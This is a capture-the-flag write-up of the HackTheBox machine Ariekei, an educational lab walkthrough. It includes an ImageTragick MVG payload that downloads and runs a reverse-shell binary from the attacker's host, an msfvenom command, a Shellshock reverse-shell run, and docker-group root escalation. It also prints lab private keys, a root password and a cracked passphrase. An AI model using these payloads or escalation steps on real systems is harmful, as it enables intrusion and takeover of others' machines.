Ariekei Writeup by Booj

Unbelievable! Some idiot disabled his firewall, meaning all the computers on floor Seven are teeming with viruses, plus I’ve just had to walk all the way down the motherfudging stairs, because the lifts are broken again!

Here we’re going to dig deep into Ariekei, the winding maze of containers, WAF’s and web servers from HackTheBox.

Enumeration

As always, we begin with a port scan.

PORT  STATE SERVICE VERSION
22/tcp  open  ssh  OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  2048 a7:5b:ae:65:93:ce:fb:dd:f9:6a:7f:de:50:67:f6:ec (RSA)
|_  256 64:2c:a6:5e:96:ca:fb:10:05:82:36:ba:f0:c9:92:ef (ECDSA)
443/tcp  open  https?
| ssl-cert: Subject: stateOrProvinceName=Texas/countryName=US
| Subject Alternative Name: DNS:calvin.ariekei.htb, DNS:beehive.ariekei.htb
| Not valid before: 2017-09-24T01:37:05
|_Not valid after:  2045-02-08T01:37:05
| tls-nextprotoneg:
|_  http/1.1
1022/tcp open  ssh  OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  1024 98:33:f6:b6:4c:18:f5:80:66:85:47:0c:f6:b7:90:7e (DSA)
|  2048 78:40:0d:1c:79:a1:45:d4:28:75:35:36:ed:42:4f:2d (RSA)
|_  256 45:a6:71:96:df:62:b5:54:66:6b:91:7b:74:6a:db:b7 (ECDSA)

We see 3 ports, two of which are SSH, but differing versions. We also see two alternative hostname’s in the SSL certificate, so we should enumerate each in turn in case they’re serving different websites.

Make sure to edit your hosts file to include the following lines:

10.10.10.65 calvin.ariekei.htb
10.10.10.65 beehive.ariekei.htb

For this I just used dirbuster and enumerated each domain seperately.

At https://beehive.ariekei.htb/cgi-bin/stats we see a shell script, returning information on the machine.

This is running bash version 4.2.37(1) which is potentially vulnerable to shellshock. Since debian tends to backport changes made to bash, the version number is no true indicator. Unfortunately, any attempt to pass in any odd characters is met by the following response from the server.

Looks like there’s a WAF in play, so we might want to find another way in, or spend a long time trying bypass methods.

Another interesting page is found at https://calvin.ariekei.htb/upload.

Upload any file and nothing appears to happen, we’re just redirected to a HTTP port of calvin.ariekei.htb/upload, although the title indicates that this is an image converter. Potentially it’s vulnerable to Imagetragick, one of the more famous exploits of the ImageMagick library that handled a substantial amount of the web’s image conversion code. I used one of the proof-of-concepts hosted here and adapted it to return myself a root shell.

For this you’ll want to generate an executable to return a shell. We can easily do this using msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.15.41 LPORT=443 -f elf -o shell.elf

We’ll then want to create our payload file, which I called exploit.mvg. All this does is inject a call to download our binary, make it executable and then execute it.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl 10.10.15.41/shell.elf -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf; echo "rce1)'
pop graphic-context

We upload the file, place the executable on our local web server and set up a netcat listener. After a few seconds we’re returned a shell as…root?

Container 1: convert-live

This isn’t true root however, a quick look around reveals we’re sitting in a docker container. Using mount we see a list of mounted files and directories within the docker environment. An interesting one is this /common directory:

/dev/mapper/ariekei--vg-root on /common type ext4 (ro,relatime,errors=remount-ro,data=ordered)

In the /common directory we see some interesting sub-directories.

cd /common
ls -la
total 20
drwxr-xr-x  5 root root 4096 Sep 23 18:36 .
drwxr-xr-x 36 root root 4096 Nov 13 15:10 ..
drwxrwxr-x  2 root root 4096 Sep 24 00:59 .secrets
drwxr-xr-x  6 root root 4096 Sep 23 18:32 containers
drwxr-xr-x  2 root root 4096 Sep 24 02:27 network
cd containers
ls -la
total 24
drwxr-xr-x 6 root root  4096 Sep 23 18:32 .
drwxr-xr-x 5 root root  4096 Sep 23 18:36 ..
drwxr-xr-x 2 root input 4096 Nov 13 14:36 bastion-live
drwxr-xr-x 5 root input 4096 Nov 13 14:36 blog-test
drwxr-xr-x 3 root root  4096 Nov 13 14:36 convert-live
drwxr-xr-x 5 root root  4096 Nov 13 14:36 waf-live

Inside the containers directory what look like the build environments of all the containers running on this host. This is especially useful as we can see the root password, if it was changed, for each of these containers within their Dockerfiles. No hash cracking needed down the line.

root@ezra:/common/containers/blog-test# cat Dockerfile
FROM internal_htb/docker-apache
RUN echo "root:Ib3!kTEvYw6*P7s" | chpasswd
RUN apt-get update
RUN apt-get install python -y
RUN mkdir /common
root@ezra:/common/containers/blog-test# cat start.sh
docker run \
-v /dev/null:/root/.sh_history \
-v /dev/null:/root/.bash_history \
--restart on-failure:5 \
--net arieka-test-net --ip 172.24.0.2 \
-h beehive.ariekei.htb --name blog-test -dit \
-v /opt/docker:/common:ro \
-v $(pwd)/cgi:/usr/lib/cgi-bin:ro \
-v $(pwd)/config:/etc/apache2:ro \
-v $(pwd)/logs:/var/log/apache2 \
-v /home/spanishdancer:/home/spanishdancer:ro  web-template

In the .secrets directory we see two RSA keys.

drwxrwxr-x 2 root root 4096 Sep 24 00:59 .
drwxr-xr-x 5 root root 4096 Sep 23 18:36 ..
-r--r----- 1 root root 1679 Sep 23 17:51 bastion_key
-r--r----- 1 root root  393 Sep 23 17:51 bastion_key.pub
cat bastion_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA8M2fLV0chunp+lPHeK/6C/36cdgMPldtrvHSYzZ0j/Y5cvkR
SZPGfmijBUyGCfqK48jMYnqjLcmHVTlA7wmpzJwoZj2yFqsOlM3Vfp5wa1kxP+JH
g0kZ/Io7NdLTz4gQww6akH9tV4oslHw9EZAJd4CZOocO8B31hIpUdSln5WzQJWrv
pXzPWDhS22KxZqSp2Yr6pA7bhD35yFQ7q0tgogwvqEvn5z9pxnCDHnPeYoj6SeDI
T723ZW/lAsVehaDbXoU/XImbpA9MSF2pMAMBpT5RUG80KqhIxIeZbb52iRukMz3y
5welIrPJLtDTQ4ra3gZtgWvbCfDaV4eOiIIYYQIDAQABAoIBAQDOIAUojLKVnfeG
K17tJR3SVBakir54QtiFz0Q7XurKLIeiricpJ1Da9fDN4WI/enKXZ1Pk3Ht//ylU
P00hENGDbwx58EfYdZZmtAcTesZabZ/lwmlarSGMdjsW6KAc3qkSfxa5qApNy947
QFn6BaTE4ZTIb8HOsqZuTQbcv5PK4v/x/Pe1JTucb6fYF9iT3A/pnXnLrN9AIFBK
/GB02ay3XDkTPh4HfgROHbkwwverzC78RzjMe8cG831TwWa+924u+Pug53GUOwet
A+nCVJSxHvgHuNA2b2oMfsuyS0i7NfPKumjO5hhfLex+SQKOzRXzRXX48LP8hDB0
G75JF/W9AoGBAPvGa7H0Wen3Yg8n1yehy6W8Iqek0KHR17EE4Tk4sjuDL0jiEkWl
WlzQp5Cg6YBtQoICugPSPjjRpu3GK6hI/sG9SGzGJVkgS4QIGUN1g3cP0AIFK08c
41xJOikN+oNInsb2RJ3zSHCsQgERHgMdfGZVQNYcKQz0lO+8U0lEEe1zAoGBAPTY
EWZlh+OMxGlLo4Um89cuUUutPbEaDuvcd5R85H9Ihag6DS5N3mhEjZE/XS27y7wS
3Q4ilYh8Twk6m4REMHeYwz4n0QZ8NH9n6TVxReDsgrBj2nMPVOQaji2xn4L7WYaJ
KImQ+AR9ykV2IlZ42LoyaIntX7IsRC2O/LbkJm3bAoGAFvFZ1vmBSAS29tKWlJH1
0MB4F/a43EYW9ZaQP3qfIzUtFeMj7xzGQzbwTgmbvYw3R0mgUcDS0rKoF3q7d7ZP
ILBy7RaRSLHcr8ddJfyLYkoallSKQcdMIJi7qAoSDeyMK209i3cj3sCTsy0wIvCI
6XpTUi92vit7du0eWcrOJ2kCgYAjrLvUTKThHeicYv3/b66FwuTrfuGHRYG5EhWG
WDA+74Ux/ste3M+0J5DtAeuEt2E3FRSKc7WP/nTRpm10dy8MrgB8tPZ62GwZyD0t
oUSKQkvEgbgZnblDxy7CL6hLQG5J8QAsEyhgFyf6uPzF1rPVZXTf6+tOna6NaNEf
oNyMkwKBgQCCCVKHRFC7na/8qMwuHEb6uRfsQV81pna5mLi55PV6RHxnoZ2wOdTA
jFhkdTVmzkkP62Yxd+DZ8RN+jOEs+cigpPjlhjeFJ+iN7mCZoA7UW/NeAR1GbjOe
BJBoz1pQBtLPQSGPaw+x7rHwgRMAj/LMLTI46fMFAWXB2AzaHHDNPg==
-----END RSA PRIVATE KEY-----

These look like SSH keys, so we try this on port 22 and 1022. Port 1022 gives us access with username root.

root@kali:/tmp# ssh root@10.10.10.65 -p 1022 -i id_rsa
Last login: Sun Apr 22 17:05:28 2018 from 10.10.14.18
root@ezra:~# id
uid=0(root) gid=0(root) groups=0(root)

Container 2: bastion-live

Not much stands out but lets have a look at the make_networks.sh file within the /containers folder again:

#!/bin/bash

# Create isolated network for building containers. No internet access
docker network create -d bridge --subnet=172.24.0.0/24 --gateway=172.24.0.1 --ip-range=172.24.0.0/24 \
 -o com.docker.network.bridge.enable_ip_masquerade=false \
  arieka-test-net

# Crate network for live containers. Internet access
docker network create -d bridge --subnet=172.23.0.0/24 --gateway=172.23.0.1 --ip-range=172.23.0.0/24 \
 arieka-live-net

Here I’ve mapped each of the containers to their IP’s on each network and

  • Live Network
    • 172.23.0.11 (convert-live)
      - 8080/tcp
    • 172.23.0.252 (waf-live)
      - 443/tcp
    • 172.23.0.253 (bastion-live)
      • 22/tcp
  • Test Network
    • 172.24.0.2 (blog-test)
      • 80/tcp
    • 172.24.0.252 (waf-live)
      • 443/tcp
    • 172.24.0.253 (bastion-live)
      • 22/tcp

So some of these containers are dual-homed on both the live and the test network. The container we were in, convert-live was in the live network, but the bastion-live box we just SSH’d into is on both.

root@ezra:/tmp# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:17:00:fd  
          inet addr:172.23.0.253  Bcast:0.0.0.0  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2816 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1791 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:250564 (250.5 KB)  TX bytes:238013 (238.0 KB)

eth1      Link encap:Ethernet  HWaddr 02:42:ac:18:00:fd  
          inet addr:172.24.0.253  Bcast:0.0.0.0  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:498 errors:0 dropped:0 overruns:0 frame:0
          TX packets:555 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:51924 (51.9 KB)  TX bytes:40623 (40.6 KB)

What’s interesting about this network layout is that the waf-live is the device exposed to us on port 443, and all it’s doing is routing traffic between us and the blog-test container. Those images we saw when we attacked the stats script were generated by waf-live which we see when we enumerate the container files in /common.

Here is an excerpt from nginx.conf in waf-live, which shows that ModSecurity is acting as the WAF.

 ModSecurityEnabled on;
 ModSecurityConfig modsecurity.conf;

We also confirm that the beehive.ariekei.htb hostname is forwarded from the blog-test container.

 ## Blog test vhost ##
    server {
        listen       443 ssl;
        server_name  beehive.ariekei.htb;

	location / {
		proxy_pass http://172.24.0.2/;
		proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
		proxy_redirect off;
		proxy_buffering off;
		proxy_force_ranges on;
		proxy_set_header        Host            $host;
		proxy_set_header        X-Real-IP       $remote_addr;
		proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		add_header X-Ariekei-WAF "beehive.ariekei.htb";

	}

        error_page 403 /403.html;
	location = /403.html {
            root   html;
        }

    }

Remember that potential shellshock from earlier? So to avoid the protections, all we need to do is launch our attack from this container which can bypass the waf entirely by going through a different subnet.

We’ll use the shellshock proof-of-concept from exploit-db.

root@ezra:/tmp# python shellshock.py  payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/stats
[!] Successfully exploited
[!] Incoming connection from 172.24.0.1
172.24.0.1> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Container 3: blog-test

Almost there, but in this device we see we’re www-data. Luckily, we have the password from the Dockerfile, root:Ib3!kTEvYw6*P7s, so all we need to do is spawn a tty, so we can use su to root.

In this container we view the mounted directories using mount which shows that /home/spanishdancer is mounted from the host and isn’t a user on this container which we can confirm from the passwd file.

root@beehive:/home/spanishdancer/.ssh# 
172.24.0.1> 
ls -la
total 20
drwx------ 2 1000 1000 4096 Sep 24  2017 .
drwxr-xr-x 5 1000 1000 4096 Nov 13 14:19 ..
-rw-rw-r-- 1 1000 1000  407 Sep 24  2017 authorized_keys
-rw------- 1 1000 1000 1766 Sep 24  2017 id_rsa
-rw-r--r-- 1 1000 1000  407 Sep 24  2017 id_rsa.pub
root@beehive:/home/spanishdancer/.ssh# 

Luckily it appears there’s a couple of ssh keys in there.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C3EBD8120354A75E12588B11180E96D5

2UIvlsa0jCjxKXmQ4vVX6Ez0ak+6r5VuZFFoalVXvbZSLomIya4vYETv1Oq8EPeh
KHjq5wFdlYdOXqyJus7vFtB9nbCUrgH/a3og0/6e8TA46FuP1/sFMV67cdTlXfYI
Y4sGV/PS/uLm6/tcEpmGiVdcUJHpMECZvnx9aSa/kvuO5pNfdFvnQ4RVA8q/w6vN
p3pDI9CzdnkYmH5/+/QYFsvMk4t1HB5AKO5mRrc1x+QZBhtUDNVAaCu2mnZaSUhE
abZo0oMZHG8sETBJeQRnogPyAjwmAVFy5cDTLgag9HlFhb7MLgq0dgN+ytid9YA8
pqTtx8M98RDhVKqcVG3kzRFc/lJBFKa7YabTBaDoWryR0+6x+ywpaBGsUXEoz6hU
UvLWH134w8PGuR/Rja64s0ZojGYsnHIl05PIntvl9hinDNc0Y9QOmKde91NZFpcj
pDlNoISCc3ONnL4c7xgS5D2oOx+3l2MpxB+B9ua/UNJwccDdJUyoJEnRt59dH1g3
cXvb/zTEklwG/ZLed3hWUw/f71D9DZV+cnSlb9EBWHXvSJwqT1ycsvJRZTSRZeOF
Bh9auWqAHk2SZ61kcXOp+W91O2Wlni2MCeYjLuw6rLUHUcEnUq0zD9x6mRNLpzp3
IC8VFmW03ERheVM6Ilnr8HOcOQnPHgYM5iTM79X70kCWoibACDuEHz/nf6tuLGbv
N01CctfSE+JgoNIIdb4SHxTtbOvUtsayQmV8uqzHpCQ3FMfz6uRvl4ZVvNII/x8D
u+hRPtQ1690Eg9sWqu0Uo87/v6c/XJitNYzDUOmaivoIpL0RO6mu9AhXcBnqBu3h
oPSgeji9U7QJD64T8InvB7MchfaJb9W/VTECST3FzAFPhCe66ZRzRKZSgMwftTi5
hm17wPBuLjovOCM8QWp1i32IgcdrnZn2pBpt94v8/KMwdQyAOOVhkozBNS6Xza4P
18yUX3UiUEP9cmtz7bTRP5h5SlDzhprntaKRiFEHV5SS94Eri7Tylw4KBlkF8lSD
WZmJvAQc4FN+mhbaxagCadCf12+VVNrB3+vJKoUHgaRX+R4P8H3OTKwub1e69vnn
QhChPHmH9SrI2TNsP9NPT5geuTe0XPP3Og3TVzenG7DRrx4Age+0TrMShcMeJQ8D
s3kAiqHs5liGqTG96i1HeqkPms9dTC895Ke0jvIFkQgxPSB6y7oKi7VGs15vs1au
9T6xwBLJQSqMlPewvUUtvMQAdNu5eksupuqBMiJRUQvG9hD0jjXz8f5cCCdtu8NN
8Gu4jcZFmVvsbRCP8rQBKeqc/rqe0bhCtvuMhnl7rtyuIw2zAAqqluFs8zL6YrOw
lBLLZzo0vIfGXV42NBPgSJtc9XM3YSTjbdAk+yBNIK9GEVTbkO9GcMgVaBg5xt+6
uGE5dZmtyuGyD6lj1lKk8D7PbCHTBc9MMryKYnnWt7CuxFDV/Jp4fB+/DuPYL9YQ
8RrdIpShQKh189lo3dc6J00LmCUU5qEPLaM+AGFhpk99010rrZB/EHxmcI0ROh5T
1oSM+qvLUNfJKlvqdRQr50S1OjV+9WrmR0uEBNiNxt2PNZzY/Iv+p8uyU1+hOWcz
-----END RSA PRIVATE KEY-----

This private key is unfortunately passphrase protected, so we need to crack it. To do this we’ll load up john and run it over our standard rockyou wordlist.

root@kali:~/Downloads# ssh2john host_rsa > host_rsa_hash
root@kali:~/Downloads# john host_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
purple1          (host_rsa)
1g 0:00:00:00 DONE (2017-12-30 22:25) 25.00g/s 16650p/s 16650c/s 16650C/s purple1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

It cracks it almost instantly, and so we have our password purple1, so now we can freely SSH into the host through port 22.

Host Privilege Escalation

This escalation is pretty well known if you’ve ever dealt with docker or other containerisation technologies such as LXD.

spanishdancer@ariekei:/$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)

Notice that the user is a member of the docker group. Some container solutions, including docker, will have a dedicated group to allow unprivileged users to manage their containers without having to escalate to the root user. This is because docker requires root privileges to perform a number of actions. Unfortunately, this also makes escalating to root, incredibly easy. It’s important to remember this, I’ve seen it catch a few people out.

So let’s use this to escalate. Firstly, we see what images are available:

spanishdancer@ariekei:/$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
waf-template        latest              399c8876e9ae        3 months ago        628MB
bastion-template    latest              0df894ef4624        3 months ago        251MB
web-template        latest              b2a8f8d3ef38        3 months ago        185MB
bash                latest              a66dc6cea720        3 months ago        12.8MB
convert-template    latest              e74161aded79        19 months ago       418MB

We’ll use the bash image for this. Now we create a new image with bash as our template, and mount the root directory of the host in a folder called /rootfs within it.

spanishdancer@ariekei:/$ docker run -v /:/rootfs -i -t bash
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4# cd /rootfs/root/
bash-4.4# ls
root.txt

And there we have it, full control of the filesystem with root privileges. Docker group privilege escalation in a one-liner. I hope you enjoyed this write-up, and I hope you give the box a try if you haven’t already.
@rotarydrone should be applauded for a fantastic box and journey through docker.

References

https://imagetragick.com/